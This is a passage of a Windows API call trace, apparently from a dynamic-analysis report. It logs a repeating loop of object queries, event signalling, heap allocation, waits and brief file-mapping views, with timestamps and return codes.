(HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.077] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.077] ResetEvent (hEvent=0xdc) returned 1 [0094.077] SetEvent (hEvent=0xe0) returned 1 [0094.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.077] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.078] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.078] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.078] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.078] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.078] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.078] ResetEvent (hEvent=0xdc) returned 1 [0094.078] SetEvent (hEvent=0xe0) returned 1 [0094.078] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.078] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.079] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.079] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.079] ResetEvent (hEvent=0xdc) returned 1 [0094.079] SetEvent (hEvent=0xe0) returned 1 [0094.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.079] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.079] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.079] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.080] ResetEvent (hEvent=0xdc) returned 1 [0094.080] SetEvent (hEvent=0xe0) returned 1 [0094.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.080] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.080] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.080] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.080] ResetEvent (hEvent=0xdc) returned 1 [0094.080] SetEvent (hEvent=0xe0) returned 1 [0094.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.081] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.081] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.081] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.081] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.081] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.081] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.081] ResetEvent (hEvent=0xdc) returned 1 [0094.081] SetEvent (hEvent=0xe0) returned 1 [0094.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.082] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.082] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.082] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.082] ResetEvent (hEvent=0xdc) returned 1 [0094.082] SetEvent (hEvent=0xe0) returned 1 [0094.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.083] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.083] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.083] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.083] ResetEvent (hEvent=0xdc) returned 1 [0094.083] SetEvent (hEvent=0xe0) returned 1 [0094.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.084] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.084] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.084] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.084] ResetEvent (hEvent=0xdc) returned 1 [0094.084] SetEvent (hEvent=0xe0) returned 1 [0094.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.084] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.085] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.085] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.085] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.085] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.085] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.085] ResetEvent (hEvent=0xdc) returned 1 [0094.085] SetEvent (hEvent=0xe0) returned 1 [0094.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.085] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.086] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.086] ResetEvent (hEvent=0xdc) returned 1 [0094.086] SetEvent (hEvent=0xe0) returned 1 [0094.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.086] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.087] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.087] ResetEvent (hEvent=0xdc) returned 1 [0094.087] SetEvent (hEvent=0xe0) returned 1 [0094.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.087] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.088] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.088] ResetEvent (hEvent=0xdc) returned 1 [0094.088] SetEvent (hEvent=0xe0) returned 1 [0094.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.088] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.088] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.089] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.089] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.089] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.089] ResetEvent (hEvent=0xdc) returned 1 [0094.089] SetEvent (hEvent=0xe0) returned 1 [0094.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.089] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.089] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.090] ResetEvent (hEvent=0xdc) returned 1 [0094.090] SetEvent (hEvent=0xe0) returned 1 [0094.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.090] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.090] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.090] ResetEvent (hEvent=0xdc) returned 1 [0094.090] SetEvent (hEvent=0xe0) returned 1 [0094.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.091] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.091] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.091] ResetEvent (hEvent=0xdc) returned 1 [0094.091] SetEvent (hEvent=0xe0) returned 1 [0094.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.092] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.092] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.092] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.092] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.092] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.092] ResetEvent (hEvent=0xdc) returned 1 [0094.092] SetEvent (hEvent=0xe0) returned 1 [0094.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.093] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.093] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.093] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.093] ResetEvent (hEvent=0xdc) returned 1 [0094.093] SetEvent (hEvent=0xe0) returned 1 [0094.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.093] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.094] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.094] ResetEvent (hEvent=0xdc) returned 1 [0094.094] SetEvent (hEvent=0xe0) returned 1 [0094.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.094] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.095] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.095] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.095] ResetEvent (hEvent=0xdc) returned 1 [0094.095] SetEvent (hEvent=0xe0) returned 1 [0094.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.095] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.095] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.095] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.096] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.096] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.096] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.096] ResetEvent (hEvent=0xdc) returned 1 [0094.096] SetEvent (hEvent=0xe0) returned 1 [0094.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.096] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.096] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.097] ResetEvent (hEvent=0xdc) returned 1 [0094.097] SetEvent (hEvent=0xe0) returned 1 [0094.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.097] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.097] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.097] ResetEvent (hEvent=0xdc) returned 1 [0094.097] SetEvent (hEvent=0xe0) returned 1 [0094.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.098] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.098] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.098] ResetEvent (hEvent=0xdc) returned 1 [0094.098] SetEvent (hEvent=0xe0) returned 1 [0094.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.099] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.099] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.099] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.099] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.099] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.099] ResetEvent (hEvent=0xdc) returned 1 [0094.099] SetEvent (hEvent=0xe0) returned 1 [0094.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.100] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.100] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.100] ResetEvent (hEvent=0xdc) returned 1 [0094.100] SetEvent (hEvent=0xe0) returned 1 [0094.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.101] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.101] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.101] ResetEvent (hEvent=0xdc) returned 1 [0094.101] SetEvent (hEvent=0xe0) returned 1 [0094.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.102] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.102] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.102] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.102] ResetEvent (hEvent=0xdc) returned 1 [0094.102] SetEvent (hEvent=0xe0) returned 1 [0094.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.102] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.103] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.103] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.103] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.103] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.103] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.103] ResetEvent (hEvent=0xdc) returned 1 [0094.103] SetEvent (hEvent=0xe0) returned 1 [0094.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.103] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.104] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.104] ResetEvent (hEvent=0xdc) returned 1 [0094.104] SetEvent (hEvent=0xe0) returned 1 [0094.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.104] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.105] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.105] ResetEvent (hEvent=0xdc) returned 1 [0094.105] SetEvent (hEvent=0xe0) returned 1 [0094.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.105] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.105] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.106] ResetEvent (hEvent=0xdc) returned 1 [0094.106] SetEvent (hEvent=0xe0) returned 1 [0094.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.106] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.106] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.106] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.106] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.106] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.106] ResetEvent (hEvent=0xdc) returned 1 [0094.107] SetEvent (hEvent=0xe0) returned 1 [0094.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.107] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.107] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.107] ResetEvent (hEvent=0xdc) returned 1 [0094.107] SetEvent 